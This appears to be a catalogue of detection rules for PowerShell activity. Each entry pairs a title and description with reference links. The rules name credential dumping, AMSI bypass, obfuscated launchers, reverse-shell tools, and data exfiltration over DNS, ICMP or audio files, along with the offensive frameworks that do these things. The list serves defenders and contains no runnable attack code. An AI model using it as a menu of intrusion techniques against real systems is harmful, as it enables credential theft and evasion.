Zip A Folder With PowerShell For Staging In Temp - PowerShell Module	Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md, https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
SyncAppvPublishingServer Bypass Powershell Restriction - PS Module	Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.	https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
AADInternals PowerShell Cmdlets Execution - PsScript	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.	https://o365blog.com/aadinternals/, https://github.com/Gerenios/AADInternals
Access to Browser Login Data	Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md
Potential Active Directory Enumeration Using AD Module - PsScript	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.	https://github.com/samratashok/ADModule, https://twitter.com/cyb3rops/status/1617108657166061568?s=20, https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges
Add Windows Capability Via PowerShell Script	Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.	https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=powershell, https://www.virustotal.com/gui/file/af1c82237b6e5a3a7cdbad82cc498d298c67845d92971bada450023d1335e267/content
Powershell Add Name Resolution Policy Table Rule	Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace. This will bypass the default DNS server and uses a specified server for answering the query.	https://twitter.com/NathanMcNulty/status/1569497348841287681, https://learn.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps
PowerShell ADRecon Execution	Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7	https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1, https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319
AMSI Bypass Pattern Assembly GetType	Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts	https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/, https://twitter.com/cyb3rops/status/1588574518057979905?s=20&t=A7hh93ONM7ni1Rj1jO5OaA
Potential AMSI Bypass Script Using NULL Bits	Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities	https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-bypass-using-null-bits-satoshi
Silence.EDA Detection	Detects Silence EmpireDNSAgent as described in the Group-IP report	https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf
Get-ADUser Enumeration Using UserAccountControl Flags	Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md#atomic-test-11---get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting, https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/
Potential Data Exfiltration Via Audio File	Detects potential exfiltration attempt via audio file using PowerShell	https://github.com/gtworek/PSBits/blob/e97cbbb173b31cbc4d37244d3412de0a114dacfb/NoDLP/bin2wav.ps1
Automated Collection Command PowerShell	Once established within a system or network, an adversary may use automated techniques for collecting internal data.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md
Windows Screen Capture with CopyFromScreen	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen
Clearing Windows Console History	Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.	https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/, https://www.shellhacks.com/clear-history-powershell/, https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics
Clear PowerShell History - PowerShell	Detects keywords that could indicate clearing PowerShell history	https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a
Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell	Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file	http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html, https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/, https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf
Powershell Create Scheduled Task	Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task
Powershell Install a DLL in System Directory	Uses PowerShell to install/copy a file into a system directory such as "System32" or "SysWOW64"	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1556.002/T1556.002.md#atomic-test-1---install-and-register-password-filter-dll
Registry-Free Process Scope COR_PROFILER	Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR. (Citation: Microsoft Profiling Mar 2017) (Citation: Microsoft COR_PROFILER Feb 2013)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler
PowerShell Create Local User	Detects creation of a local user via PowerShell	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md
Create Volume Shadow Copy with Powershell	Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information	https://attack.mitre.org/datasources/DS0005/, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7
Powershell Detect Virtualization Environment	Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md, https://techgenix.com/malicious-powershell-scripts-evade-detection/
DirectorySearcher Powershell Exploitation	Enumerates Active Directory to determine computers that are joined to the domain	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-15---enumerate-domain-computers-within-active-directory-using-directorysearcher
Manipulation of User Computer or Group Security Principals Across AD	Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell, https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=net-8.0
Disable Powershell Command History	Detects scripts or commands that disabled the Powershell command history by removing psreadline module	https://twitter.com/DissectMalware/status/1062879286749773824
Disable-WindowsOptionalFeature Command PowerShell	Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images	https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md, https://learn.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps
Potential In-Memory Execution Using Reflection.Assembly	Detects usage of "Reflection.Assembly" load functions to dynamically load assemblies in memory	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=50
Potential COM Objects Download Cradles Usage - PS Script	Detects usage of COM objects that can be abused to download files in PowerShell by CLSID	https://learn.microsoft.com/en-us/dotnet/api/system.type.gettypefromclsid?view=net-7.0, https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57
DSInternals Suspicious PowerShell Cmdlets - ScriptBlock	Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.	https://github.com/MichaelGrafnetter/DSInternals/blob/39ee8a69bbdc1cfd12c9afdd7513b4788c4895d4/Src/DSInternals.PowerShell/DSInternals.psd1
Dump Credentials from Windows Credential Manager With PowerShell	Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md
Enable Windows Remote Management	Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2
Potential Suspicious Windows Feature Enabled	Detects usage of the built-in PowerShell cmdlet "Enable-WindowsOptionalFeature" used as a Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images	https://learn.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps, https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system, https://learn.microsoft.com/en-us/windows/wsl/install-on-server
Enumerate Credentials from Windows Credential Manager With PowerShell	Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md
Disable of ETW Trace - Powershell	Detects usage of powershell cmdlets to disable or remove ETW trace sessions	https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
Suspicious PowerShell Mailbox SMTP Forward Rule	Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.	https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/
Certificate Exported Via PowerShell - ScriptBlock	Detects calls to cmdlets inside of PowerShell scripts that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.	https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a, https://learn.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate?view=windowsserver2022-ps, https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html
Suspicious FromBase64String Usage On Gzip Archive - Ps Script	Detects attempts of decoding a base64 Gzip archive in a PowerShell script. This technique is often used as a method to load malicious content into memory afterward.	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43
Service Registry Permissions Weakness Check	Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.4
Active Directory Computers Enumeration With Get-AdComputer	Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory.	https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adcomputer, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md, https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1087.002/T1087.002.md
Active Directory Group Enumeration With Get-AdGroup	Detects usage of the "Get-AdGroup" cmdlet to enumerate Groups within Active Directory	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
Suspicious Get-ADReplAccount	The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.	https://www.powershellgallery.com/packages/DSInternals, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.006/T1003.006.md#atomic-test-2---run-dsinternals-get-adreplaccount
Automated Collection Bookmarks Using Get-ChildItem PowerShell	Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md
Security Software Discovery Via Powershell Script	Detects calls to "get-process" where the output is piped to a "where-object" filter to search for security solution processes. Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-2---security-software-discovery---powershell
HackTool - Rubeus Execution - ScriptBlock	Detects the execution of the hacktool Rubeus using specific command line flags	https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus, https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html, https://github.com/GhostPack/Rubeus
HackTool - WinPwn Execution - ScriptBlock	Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.	https://github.com/S3cur3Th1sSh1t/WinPwn, https://www.publicnow.com/view/EB87DB49C654D9B63995FAD4C9DE3D3CC4F6C3ED?1671634841, https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/, https://github.com/redcanaryco/atomic-red-team/blob/4d6c4e8e23d465af7a2388620cfe3f8c76e16cf0/atomics/T1082/T1082.md, https://grep.app/search?q=winpwn&filter[repo][0]=redcanaryco/atomic-red-team
PowerShell Hotfix Enumeration	Detects call to "Win32_QuickFixEngineering" in order to enumerate installed hotfixes often used in "enum" scripts by attackers	https://github.com/411Hall/JAWS/blob/233f142fcb1488172aa74228a666f6b3c5c48f1d/jaws-enum.ps1
PowerShell ICMP Exfiltration	Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp
Import PowerShell Modules From Suspicious Directories	Detects powershell scripts that import modules from suspicious directories	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md
Unsigned AppX Installation Attempt Using Add-AppxPackage - PsScript	Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages	https://learn.microsoft.com/en-us/windows/msix/package/unsigned-package, https://twitter.com/WindowsDocs/status/1620078135080325122
Execute Invoke-command on Remote Host	Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-2---invoke-command, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4
Powershell DNSExfiltration	DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh, https://github.com/Arno0x/DNSExfiltrator
Invoke-Obfuscation CLIP+ Launcher - PowerShell	Detects Obfuscated use of Clip.exe to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014	https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
Invoke-Obfuscation STDIN+ Launcher - Powershell	Detects Obfuscated use of stdin to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation VAR+ Launcher - PowerShell	Detects Obfuscated use of Environment Variables to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell	Detects Obfuscated Powershell via COMPRESS OBFUSCATION	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell	Detects Obfuscated Powershell via RUNDLL LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Stdin - Powershell	Detects Obfuscated Powershell via Stdin in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Clip - Powershell	Detects Obfuscated Powershell via use Clip.exe in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use MSHTA - PowerShell	Detects Obfuscated Powershell via use MSHTA in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Rundll32 - PowerShell	Detects Obfuscated Powershell via use Rundll32 in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell	Detects Obfuscated Powershell via VAR++ LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
Powershell Keylogging	Adversaries may log user keystrokes to intercept credentials as the user types them.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1
Powershell LocalAccount Manipulation	Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1
Suspicious PowerShell Mailbox Export to Share - PS	Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations	https://youtu.be/5mqid-7zp8k?t=2481, https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html, https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1, https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/
Malicious PowerShell Commandlets - ScriptBlock	Detects Commandlet names from well-known PowerShell exploitation frameworks	https://adsecurity.org/?p=2921, https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries, https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1, https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1, https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1, https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1, https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/, https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/, https://github.com/calebstewart/CVE-2021-1675, https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1, https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html, https://github.com/HarmJ0y/DAMP, https://github.com/samratashok/nishang, https://github.com/DarkCoderSc/PowerRunAsSystem/, https://github.com/besimorhino/powercat, https://github.com/Kevin-Robertson/Powermad, https://github.com/adrecon/ADRecon, https://github.com/adrecon/AzureADRecon
Live Memory Dump Using Powershell	Detects usage of a PowerShell command to dump the live memory of a Windows machine	https://learn.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo?view=windowsserver2022-ps
Malicious PowerShell Keywords	Detects keywords from well-known PowerShell exploitation frameworks	https://adsecurity.org/?p=2921
Modify Group Policy Settings - ScriptBlockLogging	Detect malicious GPO modifications can be used to implement many other malicious behaviors.	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md
Powershell MsXml COM Object	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt, https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85), https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html
Malicious Nishang PowerShell Commandlets	Detects Commandlet names and arguments from the Nishang exploitation framework	https://github.com/samratashok/nishang
NTFS Alternate Data Stream	Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.	https://web.archive.org/web/20220614030603/http://www.powertheshell.com/ntfsstreams/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md
Code Executed Via Office Add-in XLL File	Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137.006/T1137.006.md
Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock	Detects the execution of powershell scripts with calls to the "Start-NetEventSession" cmdlet. Which allows an attacker to start event and packet capture for a network event session. Adversaries may attempt to capture network to gather information over the course of an operation. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol.	https://github.com/redcanaryco/atomic-red-team/blob/5f866ca4517e837c4ea576e7309d0891e78080a8/atomics/T1040/T1040.md#atomic-test-16---powershell-network-sniffing, https://github.com/0xsyr0/Awesome-Cybersecurity-Handbooks/blob/7b8935fe4c82cb64d61343de1a8b2e38dd968534/handbooks/10_post_exploitation.md, https://github.com/forgottentq/powershell/blob/9e616363d497143dc955c4fdce68e5c18d28a6cb/captureWindows-Endpoint.ps1#L13
Potential Invoke-Mimikatz PowerShell Script	Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.	https://www.elastic.co/guide/en/security/current/potential-invoke-mimikatz-powershell-script.html#potential-invoke-mimikatz-powershell-script
PowerShell Web Access Installation - PsScript	Detects the installation and configuration of PowerShell Web Access, which could be used for remote access and potential abuse	https://docs.microsoft.com/en-us/powershell/module/powershellwebaccess/install-pswawebapplication, https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a, https://gist.github.com/MHaggis/7e67b659af9148fa593cf2402edebb41
PowerView PowerShell Cmdlets - ScriptBlock	Detects Cmdlet names from PowerView of the PowerSploit exploitation framework.	https://powersploit.readthedocs.io/en/stable/Recon/README, https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon, https://thedfirreport.com/2020/10/08/ryuks-return, https://adsecurity.org/?p=2277
PowerShell Credential Prompt	Detects PowerShell calling a credential prompt	https://twitter.com/JohnLaTwC/status/850381440629981184, https://t.co/ezOTGy1a1G
PSAsyncShell - Asynchronous TCP Reverse Shell	Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell	https://github.com/JoelGMSec/PSAsyncShell
PowerShell PSAttack	Detects the use of PSAttack PowerShell hack tool	https://adsecurity.org/?p=2921
Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock	Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md, https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
PowerShell Remote Session Creation	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.4
PowerShell Script With File Hostname Resolving Capabilities	Detects PowerShell scripts that have capabilities to read files, loop through them and resolve DNS host entries.	https://www.fortypoundhead.com/showcontent.asp?artid=24022, https://labs.withsecure.com/publications/fin7-target-veeam-servers
Request A Single Ticket via PowerShell	utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. A successful execution will output the SPNs for the endpoint in question.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell
Root Certificate Installed - PowerShell	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md
Suspicious Invoke-Item From Mount-DiskImage	Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso, https://learn.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps
PowerShell Script With File Upload Capabilities	Detects PowerShell scripts leveraging the "Invoke-WebRequest" cmdlet to send data via either "PUT" or "POST" method.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md, https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4
PowerShell Script Change Permission Via Set-Acl - PsScript	Detects PowerShell scripts set ACL to of a file or a folder	https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md
Powershell Sensitive File Discovery	Detect adversaries enumerate sensitive files	https://twitter.com/malmoeb/status/1570814999370801158
